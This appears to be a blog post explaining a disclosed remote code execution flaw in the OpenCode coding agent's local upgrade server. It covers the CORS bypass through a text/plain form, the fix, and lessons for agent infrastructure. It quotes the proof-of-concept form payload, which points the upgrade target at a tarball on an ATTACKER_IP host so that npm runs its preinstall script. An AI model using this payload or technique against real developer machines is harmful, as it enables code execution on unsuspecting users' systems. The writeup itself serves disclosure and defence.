A CVSS 7.5 bug in OpenCode's own upgrade server let any malicious webpage trigger remote code execution on load. Here's how the CORS bypass worked.
The bug in OpenCode did not live in code the agent generated for a user. It lived in OpenCode's own local HTTP server, the control-plane API it runs on a developer's machine to serve its web interface and handle background tasks like self-upgrades. On September 24, 2026, Datadog Security Labs disclosed that vulnerability as GHSA-632h-h47v-g4x4, a CVSS 7.5 remote code execution bug in an open source AI coding agent installed through npm, pnpm, and Bun. In the single week before the flaw went public, the vulnerable versions alone pulled more than 647,000 downloads.
Sources: GHSA-632h-h47v-g4x4 (anomalyco/opencode security advisory), Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
Any developer running a vulnerable version with `opencode serve` active was exposed the moment they opened an unrelated, malicious webpage in the same browser, no click, no download, no copy-pasted command required. The flaw sat in the `/global/upgrade` endpoint. Versions 1.14.30 through 1.18.21 installed via npm, pnpm, or Bun carried it, and the fix shipped in version 1.18.22 on August 24, 2026, a full month before the public writeup.
Sources: Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs), GHSA-632h-h47v-g4x4 (anomalyco/opencode security advisory)
What the /global/upgrade Endpoint Actually Did
OpenCode's local server exposes a `/global/upgrade` endpoint that accepts a POST request naming a target version and installs it, functionally running `npm install -g opencode-ai@<target>` on the developer's behalf. Datadog researcher Christophe Tafani-Dereeper traced the handler to a pattern he calls `handleRaw`: it parsed the request body as JSON without first checking whether the `Content-Type` header actually said `application/json`. That single gap is the entire vulnerability. A server that trusts the shape of a body over its declared type will accept a JSON payload delivered under a completely different content type, and that mismatch is exactly what a browser lets an attacker forge.
Sources: Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
Why an Ordinary Cross-Origin Request Can't Reach a Local Server
Under the same-origin policy, a script on an attacker's page cannot read the response to a cross-origin `fetch()` or `XMLHttpRequest` call unless the target server opts in with CORS headers. For a request carrying a `Content-Type: application/json` body, the browser goes further: it classifies the request as "not simple" and refuses to send it at all until an OPTIONS preflight confirms the target server allows it. OpenCode's server returned no `Access-Control-Allow-Origin` header for an attacker's origin, so a straightforward JSON fetch from a malicious page was a dead end. That protection is why the content-type confusion inside `/global/upgrade` looked, on paper, unreachable from a browser at all.
Sources: Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
The text/plain Form That Slipped Past It
Browsers carve out one exception the CORS preflight rule was never built to police: a plain HTML `<form>` submitted as a top-level navigation, the same mechanism that has powered ordinary web forms since before CORS existed. A form with `enctype="text/plain"` is allowed to cross origins with no preflight at all, because the browser treats it as equivalent to a person clicking a link, not as a scripted API call. The only cost to the attacker is that the browser serializes each field as raw `name=value` text, joined by line breaks, with no escaping.
Sources: Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
That serialization is what made the exploit work. Datadog's proof of concept set a form field's name to `{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"` and its value to `"}`. A browser joins a field's name and value with a literal `=`, so the submitted body becomes `{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"="}`, which is valid JSON, sent the entire way with a `Content-Type: text/plain` header. OpenCode's `handleRaw` parser did not care what the header said. It parsed the body, found a JSON object with a `target` field, and acted on it.
Sources: Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
| Behavior | application/json fetch or XHR | text/plain form submission |
|---|---|---|
| CORS preflight | Required before send; blocked without an Access-Control-Allow-Origin header | Never triggered; treated as a browser-safelisted simple request |
| How the browser classifies it | A scripted cross-origin API call | An ordinary top-level navigation, like a link click |
| Body escaping | Exact JSON the script wrote | Raw name=value text, joined by the browser, unescaped |
| Reaches the OpenCode server? | No, blocked before the preflight passed | Yes, delivered straight to /global/upgrade |
| Result on vulnerable OpenCode | Request never sent | Parsed as JSON despite Content-Type: text/plain, triggering the upgrade path |
From a Smuggled JSON Body to Arbitrary Code Execution
The `target` field the endpoint trusted was not restricted to a version number. It accepted anything npm's package installer would accept, including a direct URL to a tarball. Datadog pointed `target` at an attacker-hosted `.tgz` file whose `package.json` declared a `preinstall` script, then let OpenCode's own upgrade logic run `npm install -g opencode-ai@<target>` against it. npm executes lifecycle scripts like `preinstall` automatically during installation, so the moment OpenCode ran that install command, the attacker's script executed with the same privileges as the developer's own account, no separate exploit or memory-corruption step required.
Sources: Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
Npm executing arbitrary code from a package's lifecycle scripts is not a new technique on its own. Supply-chain attacks have abused preinstall and postinstall hooks against published packages for years. What made this chain notable is not the payload, it is the delivery: an attacker did not need to compromise a real npm package or wait for a developer to install anything by hand. A single unauthenticated HTTP request, smuggled past CORS from a browser tab, was enough to make OpenCode's own upgrade logic install the attacker's package for it.
Every condition needed to trigger this was already satisfied for a large share of OpenCode's user base. `opencode serve` starts to power the web interface, and the advisory's own proof of concept confirms the practical trigger: the victim only had to be running that server and load the attacker's page in the same browser, no click beyond the page load, no approval prompt, and no separate action from the developer at any point.
Sources: GHSA-632h-h47v-g4x4 (anomalyco/opencode security advisory), Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
What Had to Be True for the Attack to Work
- A vulnerable version, 1.14.30 through 1.18.21, running with its web interface enabled via opencode serve or opencode web.
- No password authentication configured on that server, or a browser already holding cached HTTP Basic credentials for it.
- OpenCode installed through npm, pnpm, or Bun, since the upgrade path runs through npm's installer.
- The developer's browser loading any page the attacker controlled, anywhere, while that server happened to be running.
None of those four conditions requires the developer to do anything unusual. Running a local server for a coding agent's web interface is the intended workflow, not a misconfiguration, and skipping a password on a tool that is supposed to only be reachable from your own machine is a completely ordinary default. The vulnerability did not need a careless developer. It needed an ordinary one, running the tool the way it was designed to be run, with a browser tab open to anything else at the same time.
A Four-Month Gap Between First Vulnerable Release and Public Disclosure
The bug existed in shipped OpenCode releases for nearly four months before it became public. Version 1.14.30, the first vulnerable release, went out April 30, 2026. Datadog reported the issue privately on August 11. Anomaly merged a fix and released version 1.18.22 on August 24. The public writeup followed a month later, on September 24, the coordinated-disclosure gap meant to give downstream users time to upgrade before attack details went public. That gap did not close fast: Datadog's own download data shows vulnerable versions still made up 38.9% of all OpenCode downloads in the week of September 17 to 23, the week immediately before the writeup went live.
Sources: Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
How to Check If You Were Exposed
If OpenCode was installed through npm, pnpm, or Bun and has not been explicitly upgraded since August 24, 2026, check the installed version against 1.18.22 before running `opencode serve` again. The fix has two parts. The `target` parameter is now validated against `semver.valid()`, so it can no longer carry an arbitrary URL, and the endpoint was rebuilt on Effect's `handle` function, which inspects the `Content-Type` header before deciding how to parse the body, rejecting a `text/plain` submission with a 415 response instead of guessing at it. The advisory carries CVSS vector AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H and three CWE classifications: origin validation error, cross-site request forgery, and interpretation conflict, which map directly onto the three-part chain described above.
Sources: GHSA-632h-h47v-g4x4 (anomalyco/opencode security advisory), Discovering and exploiting a remote code execution vulnerability in OpenCode (Datadog Security Labs)
The Angle Most Threat Models Skip: the Agent's Own Server
OpenCode was not compromised through a prompt injection, a poisoned dependency, or a bad line of AI-generated code. Every one of those has become a familiar category to worry about. This bug lived somewhere else entirely: inside the local HTTP API the agent itself runs to serve its own interface and handle its own background upgrades. That surface rarely gets the same scrutiny as the code an agent writes, because a team auditing AI-generated pull requests is reviewing the agent's output, not the agent's own plumbing. GHSA-632h-h47v-g4x4 is a reminder that the plumbing sits inside the codebase's trust boundary too.
A local HTTP server like this one is common across the category, not an OpenCode quirk. Coding agents run them to power IDE integrations, background auto-update checks, and connections to local or remote MCP tools, convenience features that all need some way for a browser-based UI or an editor plugin to talk to the agent process running on the same machine. Each one is a listener accepting requests, and each inherits the same question this vulnerability answers the hard way: does the server verify who is actually asking, or does it assume that anything reaching localhost must already be trusted?
Binding to Localhost Is Not a Security Boundary
OpenCode's server binds to localhost by default, the same assumption a lot of local developer tooling relies on: if a service only listens on 127.0.0.1, only processes on that machine can reach it, so origin checks feel unnecessary. That assumption has a well known hole. A browser tab is a process on that machine too, and any page it loads can direct the browser to send a request to localhost on the developer's behalf. Binding to localhost keeps other machines on the network out. It does nothing to keep out the browser sitting open in the next tab, which is exactly the client this vulnerability used.
It is not the first time an AI coding agent's own infrastructure, rather than the code it produced, turned out to be the actual security boundary in question. What Is Containment Escape in Claude Code? covers a related pattern: Anthropic locking down Auto Mode's default permissions after the same underlying question kept resurfacing, whether an agent's own runtime can be trusted to police itself. A local upgrade endpoint and a permission classifier are different mechanisms, but both sit inside the same blind spot: the tool, not its output.
TLM Forge's convergence gate is built to review the diffs an agent proposes for your codebase, not to audit the agent's own server internals, and nothing here claims it would have caught this specific CVE. What it does argue is the point GHSA-632h-h47v-g4x4 makes for free: an AI coding agent is not one artifact to review, it is at minimum two, the code it writes and the infrastructure it runs to write it, and a governance process that only threat-models the first one is grading half the test. Any local server a coding agent stands up, for IDE integration, background updates, or an MCP connection, is inside the trust boundary the moment it starts accepting requests, and it deserves the same adversarial review as a pull request, not an exemption because it counts as tooling.
Before running any coding agent's local server on a shared or personal machine, check whether it authenticates requests by origin, not just by binding to localhost. A server that only checks whether a request is local has no defense against a browser tab on that same machine acting as the attacker.
Frequently asked questions
01What is GHSA-632h-h47v-g4x4?
A CVSS 7.5 remote code execution vulnerability in OpenCode's local /global/upgrade server endpoint, disclosed by Datadog Security Labs on September 24, 2026. It let a malicious webpage trigger arbitrary code execution on a developer's machine. Affected versions run 1.14.30 through 1.18.21; the fix shipped in 1.18.22.
02How could just visiting a website hack OpenCode?
A malicious page submitted a hidden HTML form with enctype="text/plain" as a top-level navigation. Browsers do not apply CORS preflight checks to that kind of submission, so the form body reached OpenCode's local server directly, and it happened to parse as valid JSON despite its declared content type.
03Why didn't CORS protect against this attack?
CORS preflight only blocks scripted cross-origin requests, like fetch(), that carry an application/json content type. A plain form submission with enctype="text/plain" is a browser-safelisted "simple request," exempt from preflight entirely, because browsers treat it the same as an ordinary link click.
04Which OpenCode versions are vulnerable and how do I fix it?
Versions 1.14.30 through 1.18.21, installed via npm, pnpm, or Bun, are affected. Upgrade to 1.18.22 or later, which validates the upgrade target against semver.valid() and enforces the declared Content-Type header instead of guessing at the request body.
05Does this vulnerability affect other AI coding agents?
Not this specific bug, but the pattern generalizes. Any local server an AI coding agent runs, for its web UI, IDE integration, or auto-updates, is reachable from a browser tab on the same machine and needs the same origin validation and content-type checks as a public API.